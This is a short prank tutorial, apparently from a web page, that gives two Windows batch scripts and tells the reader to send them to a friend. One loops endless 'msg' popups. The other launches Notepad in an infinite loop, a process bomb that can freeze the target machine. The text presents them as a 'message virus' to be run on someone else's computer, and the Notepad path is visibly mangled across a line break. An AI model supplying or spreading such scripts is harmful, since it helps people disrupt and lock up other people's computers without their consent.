To Make Cycle a message virus in your friend's computer

open notepad and Type :
@ECHO off
:Begin
msg * Hi
msg * Are you having fun?
msg * I am!
msg * Lets have fun together!
msg * Because you have been o-w-n-e-d
GOTO BEGIN

Open Notepad continually in your friend's computer
Type :
@ECHO off
:top
START %SystemRoot%\system32
otepad.exe
GOTO top

Save it as Anything.BAT and send it.  
Enjoy!!!!!